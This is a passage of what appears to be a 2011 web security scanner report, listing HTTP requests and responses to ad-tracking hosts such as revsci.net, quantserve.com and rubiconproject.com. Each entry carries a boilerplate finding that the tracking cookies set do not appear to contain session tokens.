NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d62d3e4&0&&4d3cf159&4c5cffb70704da9ab1f721e8ae18383d
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rtc_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPFe0PF7gMQVVNGyQq+TU2VE+8mA39mBOeRh8RvTJt273WYJS9QISCAgxkL8VjFACM37MfrDDLUs0/J7x6i1dFRPx6pUlOXaI5/n7KF+o95GFlfu6bAQxdbksk/G6ZetLtVuUHObHxtaAhT6IXAr41re6IGCI3YkT7Ot5GHMsd00VnbeSE3LED2fRDf76H+UXNnAo6GqQf642LViN27Nm5ci4P2QCs/mQ==; Domain=.revsci.net; Expires=Wed, 25-Jan-2012 03:06:32 GMT; Path=/ Set-Cookie: udm_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: udm_0=MLvv8iMJPj5n556BI9UE1kizmpAJIKPS2xvIWgYgIL9uKluQ8FTWspXP9z4dgc5Tjg+GkX/DBLD8Zrk6ODbszw9SQsj7PZKWy9ABFwmjwFQ0evvUib/yLZvfFBwXjwkM6rO5fK3YxCq96Or8oFRjVVbCdBPtCXzjQQ606TVULA37mJHG25W+jkE7p1jQOeoDDwy2jaZ6Omq9TgPkKnz/2sB0xjf6hRk5jspTBxqt3Samayo0BEhuwOAtLyHa2SAHSFNkdscUfCABv5wWZ69lNy/8E1fEy1c0DItf5p8OFukjcdIonhq1eRb6B48/AILBIc00QM0t7lo3mxTkSaRCHTLwWpI/++sA4FlsayoEUarNExUU14xOuUzXwFMaOQsoKguT4Mqv46Zp+p9aQ4hBJ4x7XfHf1Yit+yw4YwheL7sEc5PCCZWuYBwsPCjjdwfifwIkriRKqwo0hzzpuv/m8IR1NyhxKkuk5UPrz/0VvxhBuaVzKJhwMfvue26gSUOMHdBWtA/j4mN8kgEP9MoS1UlCXJAYq2xvKQHpINvr5HGv5ED0JzYAHaKinjgVdRdZEFJayVgS5+Vn0gT5QbIyKvOAct9TPFNBfNF4KZv6Cd+4q1QE+wyal0pIenFyY1LiESIecDIzguUCGeMMlqS8UOgDOJ0GlaX4I4i0BWA6cWEsvE3p6qa90UVX6zf0f62pK8/yb9lJ2URHr/fWfNNqpVKdEeL/IT/Vw/pEdLjNz3BRFPSMC5AcC6moMFLV9fmvTLWnyTgGS+vrC91TuEpKa5Q5B4/35ZET8T1LQZ4kfDraCwCPKoMcDRlIYdTjJrUN+eQXmdK9qokSlrPjDATn81V5QAgfh7AY63Dn1yl75bX4LJLOke9K9tsmFvJLkDnM6XVaYNZJWpEJJiINpz7cuAE6deDoOnuaZrAt4Hq4ACj0; Domain=.revsci.net; Expires=Wed, 25-Jan-2012 03:06:32 GMT; Path=/ Set-Cookie: rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F1rgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S2/PWs9VoKGAMaffRXZIcKsIfI0BwBDjCjZpjEC71nxlYizCu6A+lfGsvTCpuc5/BZCd8dAQtpSxRHzMi6uGYXwHdJ/d80gUDW6ZteHnhbnxoW32lNFY0RqP3YO00gC9MvXLUz2hBYjVv/fgqyTx1ReFJEGLEnkzsXGVm9+/kBk41UxopUKSTrKRzkQ5YXg==; Domain=.revsci.net; Expires=Wed, 25-Jan-2012 03:06:32 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 297 Date: Tue, 25 Jan 2011 03:06:32 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /K04491/b3/0/3/1003161/978210799.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv8iEJPj5n5t4Lxl8gqM+1+kVoa5JUtjw8RivzoP+6DdtaaJZxHI3717ZFmK2ZlsyUeOuq1XEViaeooyTfZUM3DFRjLhZPKW5XYmxNuO+4+rYyDseF5YobgFQCn2cS7aRvMTMvoplsJb6dvG7t3PCR6Rou8l75exTjbBjgseL+XAqHsouMbHMryYHF1wxXZE50wIytk8Q3eKmmpA0exyO99w7z20ofCv9JlxWMNHyralUwaaBqnHaNcF8NLXsy9AB+zs+UcyCKXdEjj3O1C6WOtNb3pH3/jow9FynWUeWw7QSn0aSkoenRcQhxCe63j6D1DByzYPmvyTIGtMnbOmjDploVPBPbrLNCKcbesh+PrRvMnSVXdy05AL22vNX0q4JCOba0b9bOGV8NtCTL9L3/TUIPkLc+apBjqNighdFBh36gkaxuC1c/An57s+87tT5f8png7zjrKl9PcTk3l4Y5RLgIy3GmWmLXFI93zstHlqsJgWd5QlwPCdT76camu9cemH/XJhelupJXy/sB5OGGoHHObI87INpeX0bS1gX3MOhN2NKt5hwZF/B8uoP85q7F0xxRf3ipYj4GZGV7k1/y4mq698jVyTdCsDE0i9Y7Q66bh3+Z4MfhR6lSoSmVAKVIUiWWW4G3/wTqrejoUQCYoQKd4VwE/i4ToD9z5SSr4tny7VPLcN0fTcmjjYo377nxMIFMKDCkOo0XGMGHpNIudWENyCdQ0DrCiXIGV9nuUw8Q3qmUsYwDn/aRc4ciHT0ANjzZVwN53mjStBIjn/S2XdwK13xeoP8pXNfmKCYFrf8pU+0/Yn7gtaIl0ujBFU2ORgQQ2P/Jaf/WlLPAqyPBvwp/X9958EnXYBM2+sm/tx7X2Czc168Jw9LTEmh/A3Gw0ZpetH5orwSKrfqcnwOV1sbSoQxyd1GbYRlqFXI=; rsi_segs_1000000=pUPFfEOlLgIYlVNWKZU1sWJH1I8V0sD586OtYWpJIZ5At588pHu0XtJj0vEjmwH5W+0fVgtXKwemg4X+X+ZcSFKrAeiVdwmYRcxYnZGANiwodqN5uhpI2RG7gf2tidEme72Dc6LcL4puWziUNiMSVj9Rlec2UMv/RY8CSw1fUUBq299ft5vcz4/QVANk+xUmIlgaIoFCnYcBk/VuIcXautuNt5oFCJuLKVA=; rtc_0=MLuBE4gHgVlDEdBGccKRt+NPtq9Q2XTJceL+0HupXmjnWmzuhIGM6lfPp5ixKDcMr+Ii79Fc2vPW5duJgxxcN/oeczKDujEEoSBEvNoIhhASZpi002JL7KxepMxQs8stwxfU/GVEKQUZuR2gwNzE3rczaCMMDHXqzRgNXmXGXpQ29HMiCR3LFNRLO+zyc+soAgVeC3wFxfFz0TNfRqLbav7YZmm5PUmTeRjv+yY6eXNNBmRhlghJSw==; rsi_us_1000000=pUMd5U+DfxIU7WxyqNQb+zH1s17HozKcX9zb1nGBmx1V/jUVnfeldtQjURXj62Ij5rwYZ9wJ1NqZFDtPnA/ai2kzB4ZWck4RlBED9tHPfALbjG5/h+EbQvknzyyRcrItMoJol6PXNTl/OKv1HLyRjqxPdUMPuhTeFrZcyO8gAu7DnkKRicwv26rJbnB2YkIMVwnyQe25v0bF8cRbuIDVa248qh0eMMOfyR/FXEsxPsbCZDweM7dbepZIWR3dtd+dVimkWAYQoZALNR+V/guGHuxfyVd2gEOLAGwOQllMhFXpg30hoPoVfJhXFUqiQNm3BzjM0qe3oej3+PsACj2CU61hVKeF2HNY9k2ol1ixdYUyhZXc+csbq2QEngScG8Fyk28f3CtFfcgafRot2T5UJdsjwU///O8q5QLpNWARM1w/lHLi6xhWyV7RPg2RTuUehxIA5X1CDzhakTy4gchBqLYpsImsUgwLdediq5xOCZUg5jzSYFUo7zRvJUElYuphp8OzQ1AQryrdIBXfr2Q7k0pOTQtw0Sya6irERSdIDFN9xHQEpu/KZi/VfFED67ADmmemfMMNlbnugnmTr6LTfKuLWuw4QB8ULOl4ICmXLj6pBD/5tNcSMJWTFHOixo4IK0vkutnkoKUs/dGDMVzfYfICMrfqYm5ooaMqvnmJ2DAzQJTYRF4vDA6NPTQcbJifGlogyZA5q8lXRY25R+s5rcSx1LACJzBJtIrHnrtl8SXouSQzf3kTOxNhVDItJBmmUFdwuBsLv9W3DOHJYpGPu7/HeVRht67vcq4vWMq3VbvT2WCZWCAVmSFQIlAkZlXJXT993g==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d62d3e4&0&&4d3cf159&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPFe0nF7gMUllNabyWHIwKccKiSiT8JVGqkXdvodADw8a38eCoBWQc1L0j8gGBbqYfEiHv9TixOAICJTj9AN8OlKWN8hkR8+1Y80oVgvtsBSK5t7gYFDQ9bSOz6oMiNlsdjAwQfD3aMkgw90W7ZIPNn7oXhnfg4eevH/M+zWc1yBKxE40OYOxyw7SA3UrFAKtyZ/SS8kG4o48pYTZKLh93HbktKBoWuKVI=; Domain=.revsci.net; Expires=Tue, 24-Jan-2012 22:48:46 GMT; Path=/ Set-Cookie: NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d62ebce&0&&4d3d03b9&4c5cffb70704da9ab1f721e8ae18383d; Domain=.revsci.net; Expires=Mon, 21-Feb-2011 22:48:46 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 147 Date: Mon, 24 Jan 2011 22:48:45 GMT Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /K04491/b3/0/3/1003161/978210799.js?D=DM_LOC%3Dhttp%253A%252F%252Fwww.autobytel.com%252Fx22%253FChannel%253D%2526Make%253D%2526Category%253D%2526Site%253DAutobytel.com%2526_rsiL%253D0%26DM_REF%3Dhttp%253A%252F%252Fburp%252Fshow%252F31%26DM_EOM%3D1&C=K04491 HTTP/1.1 Host: pix04.revsci.net Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==; udm_0=MLvv8iEJPj5n5t4Ltt9EX/C7xZnl5hjzDNVGFWEzjcOGPSjwQeqblsz4NQqc0gDPHJGwQqP04Gl/fjd0NwxKE04RBfv6QDvz32B6fwU5Fu34L666BG4fi9tTCQB7HzLjsLqPpe/ZNv6p6Wv6E4ZBUtNIPMZXaK38wui6tKY7SLyOhMMPSJKHQjAq7iVOFpHQSiIVffpJbnNSOVw3KAaxc6ZIuNW0TwoNno2N7hLN8h5r0ETnNH1Wumo6MsJMHy6rUG0M0AVwc0C8t2sgjHPROMA7VMvEXCMRiwynjB1TRk/+PVfpEc1tHyJeAqnj0jneawiO5aIsZWU/7yPlu5ciMTLE8+z5XpS+HdjIJZiKw1Jd4rWuHlcWhdMmo0w4BgvLrRDX5hKPVKrZaofBbsFrLK+YUHM4qv2l8zWxk2A0eFUUwPQGjp4RSLamucNFvJcwuLIA/C4N0vTadc1XEiqHWN9m59nxOVRc25CL28bCg9D7XIK8eQGl39rH79pq83w2Y7yTdp2vq/JQyywuUIosSaihXjhZsv5zVjsGq0ous0noNBGVBibouZ6BUldR6RYnFDGvwwEsGVJSDLRRNx/p1i5vF0c5w+tOkuGmoQgKCEah+BLI3eY4IHERUjQHegjRiYhL18Bf95kytJzUyG1CQvSeHJOczvbE8rlrMExy1YkvWXbw0EkxMvneLlRouFMzUVJFJTrqMPWcsk2yKZjYh/ijo2o/CmAOTbQ5kX5IdSZG+Myf0KmUsYyDn3ob6Bqd0BC6gho3A+TkpwR3LAXJV+jj4sbj58smKFZBQAZVL97B2AHIadTbzX24S5gt3hJk6ySr2S1M1lWOdAtajdXelKAOgeKm2wNtK/Wy58LDt1SOkNjbuNw5upFoMJrUEnAHA3Gw0Zpesn5sqwSKrfo8m1ARoDsiZ17yITyYdiQgFv4=
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rtc_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPFfcnGLgIUllNabySXY2IY55gHIZ1QyKSeDed+9JzIG0W8+AvdYSYAvxOUI2VbrccphmHkGcSot3nYvefOg9C/MS0+qcd1BcnTcNaYEkF0xialv9bj0hdb5U5jkD/4MjdaHkbSa+M/fe/FnBrMkcx0mUp01NJdnnpXlDRY2lXJS+GRf809xmH4pSnkubT29s7GCNDtfCsSqFFM2AiI79rbsE4FMdY=; Domain=.revsci.net; Expires=Tue, 24-Jan-2012 21:06:44 GMT; Path=/ Set-Cookie: rtc_0=MLuBE4gHgVlDEdBGccKRt+NPtq9Q2XTJceL+0HupXmjnWmzuhIGM6lfPp5ixKDcMr+Ii79Fc2vPW5duJgxxcN/oeczKDujEEoSBEvNoIhhASZpi002JL7KxepMxQs8stwxfU/GVEKQUZuR2gwNzE3rczaCMMDHXqzRgNXmXGXpQ29HMiCR3LFNRLO+zyc+soAgVeC3wFxfFz0TNfRqLbav7YZmm5PUmTeRjv+yY6eXNNBmRhlghJSw==; Domain=.revsci.net; Expires=Tue, 24-Jan-2012 21:06:44 GMT; Path=/ Set-Cookie: NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d62d3e4&0&&4d3cf159&4c5cffb70704da9ab1f721e8ae18383d; Domain=.revsci.net; Expires=Mon, 21-Feb-2011 21:06:44 GMT; Path=/ X-Proc-ms: 3 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 147 Date: Mon, 24 Jan 2011 21:06:44 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ps/?pid=141&cgn=13888&seg=6770 HTTP/1.1 Host: pixel.33across.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 33x_ps=u%3D6285160526%3As1%3D1295482376917%3Ats%3D1295482376917
Response
HTTP/1.1 302 Moved Temporarily Date: Tue, 25 Jan 2011 01:35:46 GMT Server: 33X6 P3P: CP='NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA' Location: http://segment-pixel.invitemedia.com/pixel?partnerID=38&key=segment&code=6770&random=303331 Content-Length: 0 Set-Cookie: 33x_ps=u%3D6285160526%3As1%3D1295482376917%3Ats%3D1295919347123%3As2.33%3D%2C6693%2C6993%2C4150%2C4793%2C973%2C2502%2C5393%2C; Domain=.33across.com; Expires=Wed, 25-Jan-2012 01:35:47 GMT; Path=/ Connection: close Content-Type: text/plain; charset=UTF-8
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /event/img?mt_id=1524&mt_adid=221 HTTP/1.1 Host: pixel.mathtag.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ts=1295637719; uuid=4d3702bc-839e-0690-5370-3c19a9561295
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pixel;r=1748518845;fpan=1;fpa=P0-2130372027-1295906131971;ns=1;url=http%3A%2F%2Fc5.zedo.com%2Fjsc%2Fc5%2Fff2.html%3Fn%3D305%3Bc%3D2290%2F2289%2F1%3Bs%3D788%3Bd%3D9%3Bw%3D300%3Bh%3D250;ref=http%3A%2F%2Fwww1.whdh.com%2F;ce=1;je=1;sr=1920x1200x16;enc=n;ogl=;dst=1;et=1295906131970;tzo=360;a=p-02uqnnIGWyZdo HTTP/1.1 Host: pixel.quantserve.com Proxy-Connection: keep-alive Referer: http://c5.zedo.com/jsc/c5/ff2.html?n=305;c=2290/2289/1;s=788;d=9;w=300;h=250 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mc=4d21fad0-365c5-43e3d-97d7a; d=EO0ADqANq0itiBABlQEB7gWB8gCLouLOUu0ZIAwlGDkZLpFKfBprHWMAu5HhAAAAAAKNGx7kD7ENE9koIxchBh-ikQNQxoIgEIUYIAACIAFy5fEEvS4aKSA
Response
HTTP/1.1 204 No Content Connection: close Set-Cookie: d=ENMADqANq0itiBABlQEB8QWB0wCLouLOUu0ZIAwlGDkZLpFKfBprHWMAu5HhAAAAAAKNGx7kD7ENE9koIxchBh-ikQNQxoIgEIUYIAACIAFy5fEEvS4aKSA; expires=Sun, 24-Apr-2011 21:54:47 GMT; path=/; domain=.quantserve.com P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV" Cache-Control: private, no-cache, no-store, proxy-revalidate Pragma: no-cache Expires: Fri, 04 Aug 1978 12:00:00 GMT Date: Mon, 24 Jan 2011 21:54:47 GMT Server: QS
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /seg/p-9dsZX-5zhUuTg.js HTTP/1.1 Host: pixel.quantserve.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mc=4d21fad0-365c5-43e3d-97d7a; d=ELIADqANq0itiBABswEB8QWB0wDJ8ePyDKEOsXzTgfglBt0fIAwlGDkZLpFKfBprHWMA6yg89pEAAAAAAo0bHuQPsQ0T2SgjFyEGH6KRA1DGgiAQhRggAAIgAXLl8QSqLCg1opKIKDA
Response
HTTP/1.1 200 OK Connection: close Set-Cookie: d=EJEADqANq0itiBABswEB8gWB8wDJ8ePyDKEOsXzTgfglBt0fIAwlGDkZLpFKfBprHWMA6yg89pEAAAAAAo0bHuQPsQ0T2SgjFyEGH6KRA1DGgiAQhRggAAIgAXLl8QSqLCg1opKIKDA; expires=Mon, 25-Apr-2011 03:06:44 GMT; path=/; domain=.quantserve.com P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV" Content-Type: application/x-javascript ETag: "S18099:E0-1972111918-1295924804754" Cache-Control: private, no-transform, max-age=600 Expires: Tue, 25 Jan 2011 03:16:44 GMT Content-Length: 548 Date: Tue, 25 Jan 2011 03:06:44 GMT Server: QS
function _qcdomain2(){ var d=document.domain; if(d.substring(0,4)=="www.")d=d.substring(4,d.length); var a=d.split(".");var len=a.length; if(len<3)return d; var e=a[len-1]; if(e.length<3)return ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tap.php?v=3615 HTTP/1.1 Host: pixel.rubiconproject.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_1197=3271971346728586924; put_1986=4760492999213801733; ruid=154d290e46adc1d6f373dd09^3^1294539219^2915161843; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; khaos=GIPAEQ2D-C-IOYY; lm="9 Jan 2011 02:15:20 GMT"; cd=false; put_2081=CA-00000000456885722; rpb=4210%3D1%264214%3D1%264894%3D1%264939%3D1%262372%3D1%262190%3D1%262374%3D1%265671%3D1%262399%3D1; rpx=4210%3D8945%2C0%2C1%2C%2C%264214%3D8945%2C0%2C1%2C%2C%264894%3D8945%2C0%2C1%2C%2C%264939%3D8946%2C0%2C1%2C%2C%265671%3D9034%2C0%2C1%2C%2C%262372%3D9034%2C0%2C1%2C%2C%262190%3D9034%2C0%2C1%2C%2C%262374%3D9034%2C0%2C1%2C%2C%262399%3D9257%2C0%2C1%2C%2C
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 01:35:48 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.3 P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Set-Cookie: rpb=4210%3D1%264214%3D1%264894%3D1%264939%3D1%262372%3D1%262190%3D1%262374%3D1%265671%3D1%262399%3D1%263615%3D1; expires=Thu, 24-Feb-2011 01:35:48 GMT; path=/; domain=.rubiconproject.com Set-Cookie: rpx=4210%3D8945%2C0%2C1%2C%2C%264214%3D8945%2C0%2C1%2C%2C%264894%3D8945%2C0%2C1%2C%2C%264939%3D8946%2C0%2C1%2C%2C%265671%3D9034%2C0%2C1%2C%2C%262372%3D9034%2C0%2C1%2C%2C%262190%3D9034%2C0%2C1%2C%2C%262374%3D9034%2C0%2C1%2C%2C%262399%3D9257%2C0%2C1%2C%2C%263615%3D9329%2C0%2C1%2C%2C; expires=Thu, 24-Feb-2011 01:35:48 GMT; path=/; domain=.pixel.rubiconproject.com Content-Length: 49 Content-Type: image/gif
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /r/bd?ddc=1&pid=18&uid=CAESED6m9hESeuo-2i0GmZeSEfo&cver=1 HTTP/1.1 Host: r.turn.com Proxy-Connection: keep-alive Referer: http://cdn.turn.com/server/ddc.htm?uid=3011330574290390485&mktid=4&mpid=1051202&fpid=3&rnd=3797505172801460594&nu=n&sp=y Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=3011330574290390485; adImpCount=uSIG8d80kGSu-3LVteb8dYo27UqqnCnwkfrXKyAV6Vld6ISB_q_vS5rapRhLZ6kjS6LzB--IPpW7f2lvGgmbV44a2HHwK-7WUoZJXI4UNi7dHrH8JOOm_45w1VVsmbQ-LO5mu_1bsdW1DTvfN8mMduV530E-cnnyNakd9XAJ5pw; fc=1WiKwfBkd2IP9DmYEvBTXecjeUUpq7AdXdV5QaZ3XbQBKx4ZZQvbzWrTNs9TlBo5BZ0EL66upofk3HmGTS_1gr3wc-cQ7FRKnITKYzO3zYV52dhK4dSErN9-EcLOAtq0; pf=ZNcym7VfDvuGzV9XuIE1r-QUWOHC4vVDwY-zzeE9S_KJwV9kSIzX4BtZ7vBDkFqiRgnA1fZrADJXYuYVL1y1CX4lLZyvKs0UYrWi2iSsDx48XfJgp4muYrbpVMBmU3OKo040jqkTNLCen_tUsnEbNt9he2SzgZbMiSxi7XoC0oAxENxfle1RGFCVxOmt4exBF6G3eK8GfPeHCjDxdpQTpQ; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7C8%7C9%7C1001%7C1002%7Cundefined%7C10; rds=14987%7C14983%7C14999%7C14989%7Cundefined%7C14983%7C14983%7C14983%7C14983%7C14983%7C14987%7Cundefined%7C14983; rv=1
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://ad.turn.com/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV" Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Set-Cookie: uid=3011330574290390485; Domain=.turn.com; Expires=Sun, 24-Jul-2011 01:35:46 GMT; Path=/ Content-Type: image/gif Content-Length: 43 Date: Tue, 25 Jan 2011 01:35:45 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
